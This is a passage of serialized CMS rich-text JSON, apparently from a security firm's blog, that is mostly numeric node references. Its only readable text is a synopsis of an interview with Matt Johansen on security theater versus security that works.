},[32062],{"data":32063,"marks":32064,"value":4161,"nodeType":864},{},[],{"data":32066,"marks":32067,"value":4165,"nodeType":864},{},[],{"data":32069,"marks":32070,"value":4170,"nodeType":864},{},[32071],{"type":899},{"data":32073,"marks":32074,"value":4174,"nodeType":864},{},[],{"data":32076,"marks":32077,"value":4179,"nodeType":864},{},[32078],{"type":899},{"data":32080,"marks":32081,"value":4183,"nodeType":864},{},[],{"data":32083,"content":32084,"nodeType":860},{},[32085],{"data":32086,"marks":32087,"value":4190,"nodeType":864},{},[],{"data":32089,"content":32092,"nodeType":996},{"target":32090},{"sys":32091},{"id":4195,"type":1001,"linkType":1002},[],{"data":32094,"content":32095,"nodeType":1005},{},[],{"data":32097,"content":32098,"nodeType":1009},{},[32099],{"data":32100,"marks":32101,"value":4207,"nodeType":864},{},[32102],{"type":899},{"data":32104,"content":32105,"nodeType":860},{},[32106],{"data":32107,"marks":32108,"value":4215,"nodeType":864},{},[32109],{"type":899},{"data":32111,"content":32112,"nodeType":860},{},[32113,32116,32123,32126,32133],{"data":32114,"marks":32115,"value":4222,"nodeType":864},{},[],{"data":32117,"content":32118,"nodeType":883},{"uri":2561},[32119],{"data":32120,"marks":32121,"value":4230,"nodeType":864},{},[32122],{"type":899},{"data":32124,"marks":32125,"value":4234,"nodeType":864},{},[],{"data":32127,"content":32128,"nodeType":883},{"uri":4237},[32129],{"data":32130,"marks":32131,"value":4243,"nodeType":864},{},[32132],{"type":899},{"data":32134,"marks":32135,"value":4247,"nodeType":864},{},[],{"data":32137,"content":32138,"nodeType":860},{},[32139],{"data":32140,"marks":32141,"value":4254,"nodeType":864},{},[],{"data":32143,"content":32146,"nodeType":996},{"target":32144},{"sys":32145},{"id":4259,"type":1001,"linkType":1002},[],{"data":32148,"content":32149,"nodeType":860},{},[32150],{"data":32151,"marks":32152,"value":4267,"nodeType":864},{},[],{"data":32154,"content":32155,"nodeType":1005},{},[],{"data":32157,"content":32158,"nodeType":1009},{},[32159],{"data":32160,"marks":32161,"value":4278,"nodeType":864},{},[32162],{"type":899},{"data":32164,"content":32165,"nodeType":860},{},[32166],{"data":32167,"marks":32168,"value":4286,"nodeType":864},{},[32169],{"type":899},{"data":32171,"content":32172,"nodeType":860},{},[32173,32176,32180,32183,32190],{"data":32174,"marks":32175,"value":4293,"nodeType":864},{},[],{"data":32177,"marks":32178,"value":4298,"nodeType":864},{},[32179],{"type":2246},{"data":32181,"marks":32182,"value":4302,"nodeType":864},{},[],{"data":32184,"content":32185,"nodeType":883},{"uri":4305},[32186],{"data":32187,"marks":32188,"value":4311,"nodeType":864},{},[32189],{"type":899},{"data":32191,"marks":32192,"value":4315,"nodeType":864},{},[],{"data":32194,"content":32195,"nodeType":860},{},[32196],{"data":32197,"marks":32198,"value":4322,"nodeType":864},{},[],{"data":32200,"content":32201,"nodeType":860},{},[32202],{"data":32203,"marks":32204,"value":4329,"nodeType":864},{},[],{"data":32206,"content":32207,"nodeType":860},{},[32208],{"data":32209,"marks":32210,"value":4336,"nodeType":864},{},[],{"data":32212,"content":32213,"nodeType":1005},{},[],{"data":32215,"content":32216,"nodeType":1009},{},[32217],{"data":32218,"marks":32219,"value":4347,"nodeType":864},{},[32220],{"type":899},{"data":32222,"content":32223,"nodeType":860},{},[32224],{"data":32225,"marks":32226,"value":4355,"nodeType":864},{},[32227],{"type":899},{"data":32229,"content":32230,"nodeType":860},{},[32231],{"data":32232,"marks":32233,"value":4362,"nodeType":864},{},[],{"data":32235,"content":32238,"nodeType":996},{"target":32236},{"sys":32237},{"id":4367,"type":1001,"linkType":1002},[],{"data":32240,"content":32241,"nodeType":860},{},[32242],{"data":32243,"marks":32244,"value":4375,"nodeType":864},{},[],{"data":32246,"content":32247,"nodeType":941},{},[32248,32257],{"data":32249,"content":32250,"nodeType":945},{},[32251],{"data":32252,"content":32253,"nodeType":860},{},[32254],{"data":32255,"marks":32256,"value":4388,"nodeType":864},{},[],{"data":32258,"content":32259,"nodeType":945},{},[32260],{"data":32261,"content":32262,"nodeType":860},{},[32263],{"data":32264,"marks":32265,"value":4398,"nodeType":864},{},[],{"data":32267,"content":32268,"nodeType":860},{},[32269,32272,32279,32282,32286],{"data":32270,"marks":32271,"value":4405,"nodeType":864},{},[],{"data":32273,"content":32274,"nodeType":883},{"uri":4408},[32275],{"data":32276,"marks":32277,"value":4414,"nodeType":864},{},[32278],{"type":899},{"data":32280,"marks":32281,"value":4418,"nodeType":864},{},[],{"data":32283,"marks":32284,"value":4423,"nodeType":864},{},[32285],{"type":2246},{"data":32287,"marks":32288,"value":4427,"nodeType":864},{},[],{"data":32290,"content":32291,"nodeType":1005},{},[],{"data":32293,"content":32294,"nodeType":1009},{},[32295],{"data":32296,"marks":32297,"value":4438,"nodeType":864},{},[32298],{"type":899},{"data":32300,"content":32301,"nodeType":860},{},[32302],{"data":32303,"marks":32304,"value":4446,"nodeType":864},{},[32305],{"type":899},{"data":32307,"content":32308,"nodeType":860},{},[32309],{"data":32310,"marks":32311,"value":4453,"nodeType":864},{},[],{"data":32313,"content":32314,"nodeType":860},{},[32315],{"data":32316,"marks":32317,"value":4460,"nodeType":864},{},[],{"data":32319,"content":32320,"nodeType":1005},{},[],{"data":32322,"content":32323,"nodeType":1009},{},[32324],{"data":32325,"marks":32326,"value":4471,"nodeType":864},{},[32327],{"type":899},{"data":32329,"content":32330,"nodeType":941},{},[32331,32344,32357,32370],{"data":32332,"content":32333,"nodeType":945},{},[32334],{"data":32335,"content":32336,"nodeType":860},{},[32337,32341],{"data":32338,"marks":32339,"value":4485,"nodeType":864},{},[32340],{"type":899},{"data":32342,"marks":32343,"value":4489,"nodeType":864},{},[],{"data":32345,"content":32346,"nodeType":945},{},[32347],{"data":32348,"content":32349,"nodeType":860},{},[32350,32354],{"data":32351,"marks":32352,"value":4500,"nodeType":864},{},[32353],{"type":899},{"data":32355,"marks":32356,"value":4504,"nodeType":864},{},[],{"data":32358,"content":32359,"nodeType":945},{},[32360],{"data":32361,"content":32362,"nodeType":860},{},[32363,32367],{"data":32364,"marks":32365,"value":4515,"nodeType":864},{},[32366],{"type":899},{"data":32368,"marks":32369,"value":4519,"nodeType":864},{},[],{"data":32371,"content":32372,"nodeType":945},{},[32373],{"data":32374,"content":32375,"nodeType":860},{},[32376,32380],{"data":32377,"marks":32378,"value":781,"nodeType":864},{},[32379],{"type":899},{"data":32381,"marks":32382,"value":4533,"nodeType":864},{},[],{"data":32384,"content":32385,"nodeType":1005},{},[],{"data":32387,"content":32388,"nodeType":1009},{},[32389],{"data":32390,"marks":32391,"value":4544,"nodeType":864},{},[32392],{"type":899},{"data":32394,"content":32395,"nodeType":860},{},[32396],{"data":32397,"marks":32398,"value":4551,"nodeType":864},{},[],{"data":32400,"content":32401,"nodeType":4845},{},[32402,32425,32447,32469,32491,32513,32535,32557,32579,32601,32623,32645],{"data":32403,"content":32404,"nodeType":4581},{},[32405,32415],{"data":32406,"content":32407,"nodeType":4569},{},[32408],{"data":32409,"content":32410,"nodeType":860},{},[32411],{"data":32412,"marks":32413,"value":4568,"nodeType":864},{},[32414],{"type":899},{"data":32416,"content":32417,"nodeType":4569},{},[32418],{"data":32419,"content":32420,"nodeType":860},{},[32421],{"data":32422,"marks":32423,"value":4580,"nodeType":864},{},[32424],{"type":899},{"data":32426,"content":32427,"nodeType":4581},{},[32428,32438],{"data":32429,"content":32430,"nodeType":4569},{},[32431],{"data":32432,"content":32433,"nodeType":860},{},[32434],{"data":32435,"marks":32436,"value":4595,"nodeType":864},{},[32437],{"type":899},{"data":32439,"content":32440,"nodeType":4569},{},[32441],{"data":32442,"content":32443,"nodeType":860},{},[32444],{"data":32445,"marks":32446,"value":4605,"nodeType":864},{},[],{"data":32448,"content":32449,"nodeType":4581},{},[32450,32460],{"data":32451,"content":32452,"nodeType":4569},{},[32453],{"data":32454,"content":32455,"nodeType":860},{},[32456],{"data":32457,"marks":32458,"value":4619,"nodeType":864},{},[32459],{"type":899},{"data":32461,"content":32462,"nodeType":4569},{},[32463],{"data":32464,"content":32465,"nodeType":860},{},[32466],{"data":32467,"marks":32468,"value":4629,"nodeType":864},{},[],{"data":32470,"content":32471,"nodeType":4581},{},[32472,32482],{"data":32473,"content":32474,"nodeType":4569},{},[32475],{"data":32476,"content":32477,"nodeType":860},{},[32478],{"data":32479,"marks":32480,"value":4643,"nodeType":864},{},[32481],{"type":899},{"data":32483,"content":32484,"nodeType":4569},{},[32485],{"data":32486,"content":32487,"nodeType":860},{},[32488],{"data":32489,"marks":32490,"value":4653,"nodeType":864},{},[],{"data":32492,"content":32493,"nodeType":4581},{},[32494,32504],{"data":32495,"content":32496,"nodeType":4569},{},[32497],{"data":32498,"content":32499,"nodeType":860},{},[32500],{"data":32501,"marks":32502,"value":4667,"nodeType":864},{},[32503],{"type":899},{"data":32505,"content":32506,"nodeType":4569},{},[32507],{"data":32508,"content":32509,"nodeType":860},{},[32510],{"data":32511,"marks":32512,"value":4677,"nodeType":864},{},[],{"data":32514,"content":32515,"nodeType":4581},{},[32516,32526],{"data":32517,"content":32518,"nodeType":4569},{},[32519],{"data":32520,"content":32521,"nodeType":860},{},[32522],{"data":32523,"marks":32524,"value":4691,"nodeType":864},{},[32525],{"type":899},{"data":32527,"content":32528,"nodeType":4569},{},[32529],{"data":32530,"content":32531,"nodeType":860},{},[32532],{"data":32533,"marks":32534,"value":4701,"nodeType":864},{},[],{"data":32536,"content":32537,"nodeType":4581},{},[32538,32548],{"data":32539,"content":32540,"nodeType":4569},{},[32541],{"data":32542,"content":32543,"nodeType":860},{},[32544],{"data":32545,"marks":32546,"value":4715,"nodeType":864},{},[32547],{"type":899},{"data":32549,"content":32550,"nodeType":4569},{},[32551],{"data":32552,"content":32553,"nodeType":860},{},[32554],{"data":32555,"marks":32556,"value":4725,"nodeType":864},{},[],{"data":32558,"content":32559,"nodeType":4581},{},[32560,32570],{"data":32561,"content":32562,"nodeType":4569},{},[32563],{"data":32564,"content":32565,"nodeType":860},{},[32566],{"data":32567,"marks":32568,"value":4739,"nodeType":864},{},[32569],{"type":899},{"data":32571,"content":32572,"nodeType":4569},{},[32573],{"data":32574,"content":32575,"nodeType":860},{},[32576],{"data":32577,"marks":32578,"value":4749,"nodeType":864},{},[],{"data":32580,"content":32581,"nodeType":4581},{},[32582,32592],{"data":32583,"content":32584,"nodeType":4569},{},[32585],{"data":32586,"content":32587,"nodeType":860},{},[32588],{"data":32589,"marks":32590,"value":4763,"nodeType":864},{},[32591],{"type":899},{"data":32593,"content":32594,"nodeType":4569},{},[32595],{"data":32596,"content":32597,"nodeType":860},{},[32598],{"data":32599,"marks":32600,"value":4773,"nodeType":864},{},[],{"data":32602,"content":32603,"nodeType":4581},{},[32604,32614],{"data":32605,"content":32606,"nodeType":4569},{},[32607],{"data":32608,"content":32609,"nodeType":860},{},[32610],{"data":32611,"marks":32612,"value":4787,"nodeType":864},{},[32613],{"type":899},{"data":32615,"content":32616,"nodeType":4569},{},[32617],{"data":32618,"content":32619,"nodeType":860},{},[32620],{"data":32621,"marks":32622,"value":4797,"nodeType":864},{},[],{"data":32624,"content":32625,"nodeType":4581},{},[32626,32636],{"data":32627,"content":32628,"nodeType":4569},{},[32629],{"data":32630,"content":32631,"nodeType":860},{},[32632],{"data":32633,"marks":32634,"value":4811,"nodeType":864},{},[32635],{"type":899},{"data":32637,"content":32638,"nodeType":4569},{},[32639],{"data":32640,"content":32641,"nodeType":860},{},[32642],{"data":32643,"marks":32644,"value":4821,"nodeType":864},{},[],{"data":32646,"content":32647,"nodeType":4581},{},[32648,32658],{"data":32649,"content":32650,"nodeType":4569},{},[32651],{"data":32652,"content":32653,"nodeType":860},{},[32654],{"data":32655,"marks":32656,"value":4500,"nodeType":864},{},[32657],{"type":899},{"data":32659,"content":32660,"nodeType":4569},{},[32661],{"data":32662,"content":32663,"nodeType":860},{},[32664],{"data":32665,"marks":32666,"value":4844,"nodeType":864},{},[],{"data":32668,"content":32669,"nodeType":1005},{},[],{"data":32671,"content":32672,"nodeType":860},{},[32673,32676,32682],{"data":32674,"marks":32675,"value":4855,"nodeType":864},{},[],{"data":32677,"content":32678,"nodeType":883},{"uri":1700},[32679],{"data":32680,"marks":32681,"value":1703,"nodeType":864},{},[],{"data":32683,"marks":32684,"value":21,"nodeType":864},{},[],{"items":32686},[32687,32689],{"sys":32688,"name":297},{"id":2732},{"sys":32690,"name":2729},{"id":2728},{"items":32692},[32693],{"fullName":4878,"firstName":4879,"jobTitle":851,"profilePicture":32694},{"url":4881},{"__typename":2059,"sys":32696,"content":32697,"title":6584,"synopsis":6585,"hashTags":59,"publishedDate":6586,"slug":6587,"tagsCollection":33406,"authorsCollection":33412},{"id":5746},{"json":32698},{"data":32699,"content":32700,"nodeType":856},{},[32701,32716,32731,32746,32751,32754,32761,32767,32773,32779,32785,32792,32795,32802,32808,32814,32820,32825,32832,32847,32853,32859,32872,32879,32903,32916,32922,32946,32953,32977,32983,32990,33005,33011,33017,33022,33028,33035,33050,33056,33072,33078,33081,33088,33094,33169,33175,33188,33191,33216,33231,33237,33243,33246,33253,33268,33274,33280,33295,33298,33305,33311,33341,33347,33362,33377,33382,33385,33391],{"data":32702,"content":32703,"nodeType":860},{},[32704,32707,32713],{"data":32705,"marks":32706,"value":5757,"nodeType":864},{},[],{"data":32708,"content":32709,"nodeType":883},{"uri":5760},[32710],{"data":32711,"marks":32712,"value":5765,"nodeType":864},{},[],{"data":32714,"marks":32715,"value":5769,"nodeType":864},{},[],{"data":32717,"content":32718,"nodeType":860},{},[32719,32722,32728],{"data":32720,"marks":32721,"value":5776,"nodeType":864},{},[],{"data":32723,"content":32724,"nodeType":883},{"uri":5779},[32725],{"data":32726,"marks":32727,"value":5784,"nodeType":864},{},[],{"data":32729,"marks":32730,"value":5788,"nodeType":864},{},[],{"data":32732,"content":32733,"nodeType":860},{},[32734,32737,32743],{"data":32735,"marks":32736,"value":5795,"nodeType":864},{},[],{"data":32738,"content":32739,"nodeType":883},{"uri":5243},[32740],{"data":32741,"marks":32742,"value":5248,"nodeType":864},{},[],{"data":32744,"marks":32745,"value":5805,"nodeType":864},{},[],{"data":32747,"content":32750,"nodeType":996},{"target":32748},{"sys":32749},{"id":5810,"type":1001,"linkType":1002},[],{"data":32752,"content":32753,"nodeType":1005},{},[],{"data":32755,"content":32756,"nodeType":1009},{},[32757],{"data":32758,"marks":32759,"value":5822,"nodeType":864},{},[32760],{"type":899},{"data":32762,"content":32763,"nodeType":860},{},[32764],{"data":32765,"marks":32766,"value":5829,"nodeType":864},{},[],{"data":32768,"content":32769,"nodeType":860},{},[32770],{"data":32771,"marks":32772,"value":5836,"nodeType":864},{},[],{"data":32774,"content":32775,"nodeType":860},{},[32776],{"data":32777,"marks":32778,"value":5843,"nodeType":864},{},[],{"data":32780,"content":32781,"nodeType":860},{},[32782],{"data":32783,"marks":32784,"value":5850,"nodeType":864},{},[],{"data":32786,"content":32787,"nodeType":860},{},[32788],{"data":32789,"marks":32790,"value":5858,"nodeType":864},{},[32791],{"type":899},{"data":32793,"content":32794,"nodeType":1005},{},[],{"data":32796,"content":32797,"nodeType":1009},{},[32798],{"data":32799,"marks":32800,"value":5869,"nodeType":864},{},[32801],{"type":899},{"data":32803,"content":32804,"nodeType":860},{},[32805],{"data":32806,"marks":32807,"value":5876,"nodeType":864},{},[],{"data":32809,"content":32810,"nodeType":860},{},[32811],{"data":32812,"marks":32813,"value":5883,"nodeType":864},{},[],{"data":32815,"content":32816,"nodeType":860},{},[32817],{"data":32818,"marks":32819,"value":5890,"nodeType":864},{},[],{"data":32821,"content":32824,"nodeType":996},{"target":32822},{"sys":32823},{"id":5895,"type":1001,"linkType":1002},[],{"data":32826,"content":32827,"nodeType":1312},{},[32828],{"data":32829,"marks":32830,"value":5904,"nodeType":864},{},[32831],{"type":899},{"data":32833,"content":32834,"nodeType":860},{},[32835,32838,32844],{"data":32836,"marks":32837,"value":5911,"nodeType":864},{},[],{"data":32839,"content":32840,"nodeType":883},{"uri":5914},[32841],{"data":32842,"marks":32843,"value":5919,"nodeType":864},{},[],{"data":32845,"marks":32846,"value":5923,"nodeType":864},{},[],{"data":32848,"content":32849,"nodeType":860},{},[32850],{"data":32851,"marks":32852,"value":5930,"nodeType":864},{},[],{"data":32854,"content":32855,"nodeType":860},{},[32856],{"data":32857,"marks":32858,"value":5937,"nodeType":864},{},[],{"data":32860,"content":32861,"nodeType":860},{},[32862,32865,32869],{"data":32863,"marks":32864,"value":5944,"nodeType":864},{},[],{"data":32866,"marks":32867,"value":5949,"nodeType":864},{},[32868],{"type":899},{"data":32870,"marks":32871,"value":5953,"nodeType":864},{},[],{"data":32873,"content":32874,"nodeType":1312},{},[32875],{"data":32876,"marks":32877,"value":5961,"nodeType":864},{},[32878],{"type":899},{"data":32880,"content":32881,"nodeType":860},{},[32882,32885,32891,32894,32900],{"data":32883,"marks":32884,"value":5968,"nodeType":864},{},[],{"data":32886,"content":32887,"nodeType":883},{"uri":5971},[32888],{"data":32889,"marks":32890,"value":5976,"nodeType":864},{},[],{"data":32892,"marks":32893,"value":5980,"nodeType":864},{},[],{"data":32895,"content":32896,"nodeType":883},{"uri":3237},[32897],{"data":32898,"marks":32899,"value":5987,"nodeType":864},{},[],{"data":32901,"marks":32902,"value":5991,"nodeType":864},{},[],{"data":32904,"content":32905,"nodeType":860},{},[32906,32909,32913],{"data":32907,"marks":32908,"value":5998,"nodeType":864},{},[],{"data":32910,"marks":32911,"value":6003,"nodeType":864},{},[32912],{"type":899},{"data":32914,"marks":32915,"value":6007,"nodeType":864},{},[],{"data":32917,"content":32918,"nodeType":860},{},[32919],{"data":32920,"marks":32921,"value":6014,"nodeType":864},{},[],{"data":32923,"content":32924,"nodeType":860},{},[32925,32928,32934,32937,32943],{"data":32926,"marks":32927,"value":6021,"nodeType":864},{},[],{"data":32929,"content":32930,"nodeType":883},{"uri":6024},[32931],{"data":32932,"marks":32933,"value":6029,"nodeType":864},{},[],{"data":32935,"marks":32936,"value":6033,"nodeType":864},{},[],{"data":32938,"content":32939,"nodeType":883},{"uri":6036},[32940],{"data":32941,"marks":32942,"value":6041,"nodeType":864},{},[],{"data":32944,"marks":32945,"value":6045,"nodeType":864},{},[],{"data":32947,"content":32948,"nodeType":1312},{},[32949],{"data":32950,"marks":32951,"value":6053,"nodeType":864},{},[32952],{"type":899},{"data":32954,"content":32955,"nodeType":860},{},[32956,32959,32965,32968,32974],{"data":32957,"marks":32958,"value":6060,"nodeType":864},{},[],{"data":32960,"content":32961,"nodeType":883},{"uri":6063},[32962],{"data":32963,"marks":32964,"value":6068,"nodeType":864},{},[],{"data":32966,"marks":32967,"value":6072,"nodeType":864},{},[],{"data":32969,"content":32970,"nodeType":883},{"uri":6075},[32971],{"data":32972,"marks":32973,"value":6080,"nodeType":864},{},[],{"data":32975,"marks":32976,"value":6084,"nodeType":864},{},[],{"data":32978,"content":32979,"nodeType":860},{},[32980],{"data":32981,"marks":32982,"value":6091,"nodeType":864},{},[],{"data":32984,"content":32985,"nodeType":1312},{},[32986],{"data":32987,"marks":32988,"value":6099,"nodeType":864},{},[32989],{"type":899},{"data":32991,"content":32992,"nodeType":860},{},[32993,32996,33002],{"data":32994,"marks":32995,"value":6106,"nodeType":864},{},[],{"data":32997,"content":32998,"nodeType":883},{"uri":3259},[32999],{"data":33000,"marks":33001,"value":6113,"nodeType":864},{},[],{"data":33003,"marks":33004,"value":6117,"nodeType":864},{},[],{"data":33006,"content":33007,"nodeType":860},{},[33008],{"data":33009,"marks":33010,"value":6124,"nodeType":864},{},[],{"data":33012,"content":33013,"nodeType":860},{},[33014],{"data":33015,"marks":33016,"value":6131,"nodeType":864},{},[],{"data":33018,"content":33021,"nodeType":996},{"target":33019},{"sys":33020},{"id":6136,"type":1001,"linkType":1002},[],{"data":33023,"content":33024,"nodeType":860},{},[33025],{"data":33026,"marks":33027,"value":6144,"nodeType":864},{},[],{"data":33029,"content":33030,"nodeType":1312},{},[33031],{"data":33032,"marks":33033,"value":6152,"nodeType":864},{},[33034],{"type":899},{"data":33036,"content":33037,"nodeType":860},{},[33038,33041,33047],{"data":33039,"marks":33040,"value":6159,"nodeType":864},{},[],{"data":33042,"content":33043,"nodeType":883},{"uri":2411},[33044],{"data":33045,"marks":33046,"value":6166,"nodeType":864},{},[],{"data":33048,"marks":33049,"value":6170,"nodeType":864},{},[],{"data":33051,"content":33052,"nodeType":860},{},[33053],{"data":33054,"marks":33055,"value":6177,"nodeType":864},{},[],{"data":33057,"content":33058,"nodeType":860},{},[33059,33062,33069],{"data":33060,"marks":33061,"value":6184,"nodeType":864},{},[],{"data":33063,"content":33064,"nodeType":883},{"uri":2411},[33065],{"data":33066,"marks":33067,"value":6192,"nodeType":864},{},[33068],{"type":1455},{"data":33070,"marks":33071,"value":6196,"nodeType":864},{},[],{"data":33073,"content":33074,"nodeType":860},{},[33075],{"data":33076,"marks":33077,"value":6203,"nodeType":864},{},[],{"data":33079,"content":33080,"nodeType":1005},{},[],{"data":33082,"content":33083,"nodeType":1009},{},[33084],{"data":33085,"marks":33086,"value":6214,"nodeType":864},{},[33087],{"type":899},{"data":33089,"content":33090,"nodeType":860},{},[33091],{"data":33092,"marks":33093,"value":6221,"nodeType":864},{},[],{"data":33095,"content":33096,"nodeType":941},{},[33097,33115,33133,33151],{"data":33098,"content":33099,"nodeType":945},{},[33100],{"data":33101,"content":33102,"nodeType":860},{},[33103,33106,33112],{"data":33104,"marks":33105,"value":6234,"nodeType":864},{},[],{"data":33107,"content":33108,"nodeType":883},{"uri":6237},[33109],{"data":33110,"marks":33111,"value":6242,"nodeType":864},{},[],{"data":33113,"marks":33114,"value":6246,"nodeType":864},{},[],{"data":33116,"content":33117,"nodeType":945},{},[33118],{"data":33119,"content":33120,"nodeType":860},{},[33121,33124,33130],{"data":33122,"marks":33123,"value":6256,"nodeType":864},{},[],{"data":33125,"content":33126,"nodeType":883},{"uri":6259},[33127],{"data":33128,"marks":33129,"value":6264,"nodeType":864},{},[],{"data":33131,"marks":33132,"value":6268,"nodeType":864},{},[],{"data":33134,"content":33135,"nodeType":945},{},[33136],{"data":33137,"content":33138,"nodeType":860},{},[33139,33142,33148],{"data":33140,"marks":33141,"value":6234,"nodeType":864},{},[],{"data":33143,"content":33144,"nodeType":883},{"uri":6036},[33145],{"data":33146,"marks":33147,"value":6284,"nodeType":864},{},[],{"data":33149,"marks":33150,"value":6288,"nodeType":864},{},[],{"data":33152,"content":33153,"nodeType":945},{},[33154],{"data":33155,"content":33156,"nodeType":860},{},[33157,33160,33166],{"data":33158,"marks":33159,"value":2761,"nodeType":864},{},[],{"data":33161,"content":33162,"nodeType":883},{"uri":6300},[33163],{"data":33164,"marks":33165,"value":3756,"nodeType":864},{},[],{"data":33167,"marks":33168,"value":6308,"nodeType":864},{},[],{"data":33170,"content":33171,"nodeType":860},{},[33172],{"data":33173,"marks":33174,"value":6315,"nodeType":864},{},[],{"data":33176,"content":33177,"nodeType":860},{},[33178,33181,33185],{"data":33179,"marks":33180,"value":6322,"nodeType":864},{},[],{"data":33182,"marks":33183,"value":6327,"nodeType":864},{},[33184],{"type":899},{"data":33186,"marks":33187,"value":6331,"nodeType":864},{},[],{"data":33189,"content":33190,"nodeType":1005},{},[],{"data":33192,"content":33193,"nodeType":1009},{},[33194,33198,33203,33207,33212],{"data":33195,"marks":33196,"value":6342,"nodeType":864},{},[33197],{"type":899},{"data":33199,"marks":33200,"value":6348,"nodeType":864},{},[33201,33202],{"type":2246},{"type":899},{"data":33204,"marks":33205,"value":6353,"nodeType":864},{},[33206],{"type":899},{"data":33208,"marks":33209,"value":6359,"nodeType":864},{},[33210,33211],{"type":2246},{"type":899},{"data":33213,"marks":33214,"value":6364,"nodeType":864},{},[33215],{"type":899},{"data":33217,"content":33218,"nodeType":860},{},[33219,33222,33228],{"data":33220,"marks":33221,"value":6371,"nodeType":864},{},[],{"data":33223,"content":33224,"nodeType":883},{"uri":6374},[33225],{"data":33226,"marks":33227,"value":6379,"nodeType":864},{},[],{"data":33229,"marks":33230,"value":6383,"nodeType":864},{},[],{"data":33232,"content":33233,"nodeType":860},{},[33234],{"data":33235,"marks":33236,"value":6390,"nodeType":864},{},[],{"data":33238,"content":33239,"nodeType":860},{},[33240],{"data":33241,"marks":33242,"value":6397,"nodeType":864},{},[],{"data":33244,"content":33245,"nodeType":1005},{},[],{"data":33247,"content":33248,"nodeType":1009},{},[33249],{"data":33250,"marks":33251,"value":6408,"nodeType":864},{},[33252],{"type":899},{"data":33254,"content":33255,"nodeType":860},{},[33256,33259,33265],{"data":33257,"marks":33258,"value":6415,"nodeType":864},{},[],{"data":33260,"content":33261,"nodeType":883},{"uri":6418},[33262],{"data":33263,"marks":33264,"value":6423,"nodeType":864},{},[],{"data":33266,"marks":33267,"value":6427,"nodeType":864},{},[],{"data":33269,"content":33270,"nodeType":860},{},[33271],{"data":33272,"marks":33273,"value":6434,"nodeType":864},{},[],{"data":33275,"content":33276,"nodeType":860},{},[33277],{"data":33278,"marks":33279,"value":6441,"nodeType":864},{},[],{"data":33281,"content":33282,"nodeType":860},{},[33283,33286,33292],{"data":33284,"marks":33285,"value":6448,"nodeType":864},{},[],{"data":33287,"content":33288,"nodeType":883},{"uri":6451},[33289],{"data":33290,"marks":33291,"value":6423,"nodeType":864},{},[],{"data":33293,"marks":33294,"value":2924,"nodeType":864},{},[],{"data":33296,"content":33297,"nodeType":1005},{},[],{"data":33299,"content":33300,"nodeType":1009},{},[33301],{"data":33302,"marks":33303,"value":6469,"nodeType":864},{},[33304],{"type":899},{"data":33306,"content":33307,"nodeType":860},{},[33308],{"data":33309,"marks":33310,"value":6476,"nodeType":864},{},[],{"data":33312,"content":33313,"nodeType":941},{},[33314,33323,33332],{"data":33315,"content":33316,"nodeType":945},{},[33317],{"data":33318,"content":33319,"nodeType":860},{},[33320],{"data":33321,"marks":33322,"value":6489,"nodeType":864},{},[],{"data":33324,"content":33325,"nodeType":945},{},[33326],{"data":33327,"content":33328,"nodeType":860},{},[33329],{"data":33330,"marks":33331,"value":6499,"nodeType":864},{},[],{"data":33333,"content":33334,"nodeType":945},{},[33335],{"data":33336,"content":33337,"nodeType":860},{},[33338],{"data":33339,"marks":33340,"value":6509,"nodeType":864},{},[],{"data":33342,"content":33343,"nodeType":860},{},[33344],{"data":33345,"marks":33346,"value":6516,"nodeType":864},{},[],{"data":33348,"content":33349,"nodeType":860},{},[33350,33353,33359],{"data":33351,"marks":33352,"value":6523,"nodeType":864},{},[],{"data":33354,"content":33355,"nodeType":883},{"uri":5243},[33356],{"data":33357,"marks":33358,"value":6530,"nodeType":864},{},[],{"data":33360,"marks":33361,"value":2924,"nodeType":864},{},[],{"data":33363,"content":33364,"nodeType":860},{},[33365,33368,33374],{"data":33366,"marks":33367,"value":6540,"nodeType":864},{},[],{"data":33369,"content":33370,"nodeType":883},{"uri":6543},[33371],{"data":33372,"marks":33373,"value":6548,"nodeType":864},{},[],{"data":33375,"marks":33376,"value":6552,"nodeType":864},{},[],{"data":33378,"content":33381,"nodeType":996},{"target":33379},{"sys":33380},{"id":6557,"type":1001,"linkType":1002},[],{"data":33383,"content":33384,"nodeType":1005},{},[],{"data":33386,"content":33387,"nodeType":860},{},[33388],{"data":33389,"marks":33390,"value":6568,"nodeType":864},{},[],{"data":33392,"content":33393,"nodeType":860},{},[33394,33397,33403],{"data":33395,"marks":33396,"value":2707,"nodeType":864},{},[],{"data":33398,"content":33399,"nodeType":883},{"uri":1700},[33400],{"data":33401,"marks":33402,"value":2715,"nodeType":864},{},[],{"data":33404,"marks":33405,"value":2719,"nodeType":864},{},[],{"items":33407},[33408,33410],{"sys":33409,"name":6593},{"id":6592},{"sys":33411,"name":342},{"id":6596},{"items":33413},[33414],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":33415},{"url":2740},"7-things-we-learned-from-matt-johansen","blog/7-things-we-learned-from-matt-johansen",{"json":33419},{"data":33420,"content":33421,"nodeType":856},{},[33422],{"data":33423,"content":33424,"nodeType":860},{},[33425,33429,33436],{"data":33426,"marks":33427,"value":33428,"nodeType":864},{},[],"In the final installment of our ",{"data":33430,"content":33431,"nodeType":883},{"uri":28552},[33432],{"data":33433,"marks":33434,"value":33435,"nodeType":864},{},[],"State of Browser Attacks series",{"data":33437,"marks":33438,"value":33439,"nodeType":864},{},[],", Push Field CTO Mark Orlando sat down with Matt Johansen, security veteran, former Reddit security lead, and founder of the Vulnerable U newsletter, to talk about what's actually working in security and what's just theater. Here are seven takeaways from the conversation.","What we learned from sitting down with Matt Johansen to discuss the difference between security theater and security that actually works. ",{"id":33442,"publishedAt":33443},"3EM39T0mqy5DscsNSact3Z","2026-08-12T12:00:52.913Z",{"items":33445},[33446,33448],{"sys":33447,"name":297},{"id":2732},{"sys":33449,"name":2729},{"id":2728},{"items":33451},[33452,33454,33456,33458,33460,33462,33464,33466,33468,33470,33472,33474,33476,33478,33480,33482,33484,33486],{"sys":33453,"name":279,"slug":280,"tier":31},{"id":276},{"sys":33455,"name":413,"slug":414,"tier":31},{"id":410},{"sys":33457,"name":297,"slug":298,"tier":31},{"id":294},{"sys":33459,"name":519,"slug":520,"tier":31},{"id":516},{"sys":33461,"name":261,"slug":262,"tier":45},{"id":258},{"sys":33463,"name":315,"slug":316,"tier":45},{"id":312},{"sys":33465,"name":466,"slug":467,"tier":45},{"id":463},{"sys":33467,"name":511,"slug":512,"tier":45},{"id":508},{"sys":33469,"name":571,"slug":572,"tier":45},{"id":568},{"sys":33471,"name":360,"slug":361,"tier":45},{"id":357},{"sys":33473,"name":288,"slug":289,"tier":45},{"id":285},{"sys":33475,"name":607,"slug":608,"tier":45},{"id":604},{"